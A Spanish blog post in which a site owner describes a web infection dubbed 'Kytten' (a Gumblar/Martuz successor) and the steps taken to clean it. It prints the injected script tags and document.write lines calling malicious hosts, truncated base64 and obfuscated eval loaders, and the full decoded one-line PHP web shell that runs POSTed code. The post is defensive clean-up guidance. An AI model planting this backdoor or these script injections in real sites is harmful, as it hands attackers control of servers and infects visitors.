Pues si, nuestra web ha padecido una infección «rarita» que por suerte la hemos podido parar a tiempo.
El bicho que nos ha infectado, le hemos llamado «Kytten» y a día de hoy, NO LO DETECTAN LOS ANTIVIRUS! (hemos probado con Avast, Ad-aware y Kaspersky).
Primero fue un bicho (chino) llamado «Gumblar» que evolucionó al «Martuz» (martuz.cn), y ahora nos viene la 3ª entrega. Al principio no sabíamos como diantres se ha colado el bicho en nuestra web, pero al final hemos encontrado pistas.
Inicialmente al bicho le detectamos por un mensaje que salía en nuestra web que decía:
Fatal error: Cannot redeclare ally() (previously declared in /index.php(1) : eval()’d code:1) in /wp-config.php(1) : eval()’d code on line 1
Aunque este error cambia según el servidor y el día en que se infectó. Otro ejemplo:
Fatal error: Cannot redeclare qq6k() (previously declared in \index.php(1) : eval()’d code:1) in \wp-config.php(1) : eval()’d code on line 1
Y en el código fuente, salían en ambos caracteres raros que resulta que es código encriptado en Base64.
¿Cómo se contagia?
Sin entrar en demasiados detalles:
- Las páginas infectadas contienen IFRAMES que llaman a un archivo Flash y otro archivo PDF que ambos aprovechan agujeros de seguridad para crear un programa en el Windows (más detalles en «La venganza de los zombies Gumblar» que está en inglés). Da igual si tienes Firefox o IExplorer, si tienes el pluggin de Flash igual o menor a 9.124 (la última versión es 10.0.32.1) o tienes instalado el Acrobat Adobe menor a 9.0 (la última es la versión 9.2.0) tu navegador se infectará de nuevo.
- Igual que el Gumblar, una vez el bicho está en el Windows, roba los datos de configuración de los 10 clientes de FTP más populares…
¿Cómo eliminarlo?
Para empezar, actualiza tus versiones de Adobe Flash y Acrobat Reader, porque por aquí te entra el bicho. También actualiza tu antivirus, como no.
Para desinfectar, explicamos nuestros pasos. Básicamente hemos realizado 4 pasos: hemos bajado toda la web al disco duro, hemos borrado toda la web del servidor, hemos limpiado la web de basura, y una vez limpio el código lo hemos vuelto a subir todo. Los detalles se explican más adelante.
Si necesitas limpiar tu web, recuerda que el código «maligno» está desperdigado por todo tu servidor. Si mientras subes una parte «limpiada» un usuario visita una parte «aún no limpiada», se volverá a contagiar toda la web. Por tanto, para evitar perder tiempo hay que borrar toda la web por mucho que sea un engorro y volverla a subir limpia.
Para limpiar y eliminar el «virus-troyano-gusano» Kytten, una vez he bajado toda la web al disco, he utilizado la opción de buscar del programa Adobe Dreamweaver, Edición –> Reemplazar –> «Buscar en:» –> «Carpetas». Aunque hay cientos de programas que tienen la misma opción de «buscar-reemplazar» y sirven igual de bien.
Luego hemos buscado los «códigos malignos» y los hemos sustituido por una cadena vacía. Para saber que «códigos» buscar, hay que saber que hace el Kytten con los archivos:
1.– Infecta los ficheros .PHP con este código:
<?php eval(base64_decode(‘aWYoIWlzc2V0 (BLABLABLA) RfUE9TVFsnZSddKSk7’)); ?>
Lo del (Blablabla) lo pongo porque es un código muy largo y para que nadie confunda esta página con el bicho. Nosotros hemos buscado la cadena «base64_decode» y cuando hemos encontrado una cadena parecida a la del ejemplo(<?php eval(base64_decode(‘aWblablablablabla…) la hemos borrado desde el «<?» hasta el «?>«. Cuando encuentras una cadena de estas, en el resto de las páginas es exactamente la misma cadena y fácilmente encontrable y borrable.
Si es un fichero .ASP, lo infecta con otro código parecido a este:
<script src=http://mashaei.ir/AWStats/admin.php ></script>
Aunque en cada web, el enlace cambia. Para buscar esta cadena ponemos «<script src=http://» y dreamweaver nos va mostrando las páginas que la contienen.
Hemos comprobado que este enlace es una web infectada, seguramente alguien infectado debe tener un enlace a esta web que estas leyendo. Es como una telaraña de webs infectadas que llaman a otras webs infectadas… vaya paranoia.
Hay otro extraño caso, si la página PHP contiene la cadena ‘,a entonces colocará un código «maligno» como el anterior, al final de la página. ¿y porque páginas con la cadena ‘,a ? pues nadie tiene ni idea.
2. – Al final de los ficheros JavaScript .JS inserta esto:
document.write(‘<script src=http://kytten.co.cc/upload/GFX.php ><\/script>’);
Aunque me comunican que en otras webs la cadena era diferente y ponía cosas como estas:
document.write(‘<script src=http://mateuszpilich.edh.pl/oferta/moja_strona_b5.php ><\/script>’);
document.write(‘<script src=http://indiansexporn.com/banners/.ftpquota.php ><\/script>’);
document.write(‘<script src=http://allo.vitebsk.by/include/index.php ><\/script>’);
En otros archivos .JS inserta al final del archivo un código parecido a este:
<!–
(function(vwoQJ){var p8UCz=’%’;var b2HS6=unescape((‘@76ar@20@61@3d@22Sc@72ip@74@ (BLABLABLA) @3e@22@29@3b@7d’).replace(vwoQJ,p8UCz));eval(b2HS6)})(/@/g);
–>
3.- Infecta los ficheros .HTM y .HTML con el siguiente código, justo antes de la etiqueta <BODY>
<script src=http://kytten.co.cc/upload/GFX.php ></script>
Aunque hay muchas variaciones, otro ejemplo:
<script src=http://allo.vitebsk.by/include/index.php ></script>
4.- En las carpetas con imágenes crea el archivo «gifimg.php» (a veces se llama «images.php» y otras «image.php») que contiene un código encriptado en base64, y que el código desencriptado sirve para introducir comandos PHP directamente en el servidor sin utilizar ningún FTP!!!
El código es algo tipo:
<?php eval(base64_decode(‘aWYoaXNzZXQoJF9QT1 (BLABLABLA) m90IEZvdW5kJyk7’));?>
El (BLABLABLA) lo ponemos por lo mismo de antes, que no confundan esta página con el virus. Desencriptado queda:
if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’])); else die(‘404 Not Found’);
¡Vaya virguería de programación! no sabemos si sacarnos el sombrero delante del genio (o «genia») que ha creado esto o acordarnos maleducadamente de la profesión de la madre que le parió.
Si alguien escribe la línea de arriba en cualquier página web programada en PHP, tiene el control total de la web. Es tan genial como maquiavélico.
Lo único que hay que hacer es enviar mediante el parámetro «e» lo que se desea en lenguaje PHP. Por ejemplo si la página «infectada» con este código se llama «lista.php», se puede llamar a la página así «lista.php?e=(CÓDIGO PHP QUE SE QUIERA EJECUTAR)».
Aunque esto sería si el método fuese GET, pero en el caso de este bicho utiliza el método POST (seguramente para no dejar rastros en los logs) y la cosa se complica un poco más.
Y esto es todo, espero que todo este conjunto de datos sin sentido le haya sido útil a alguien.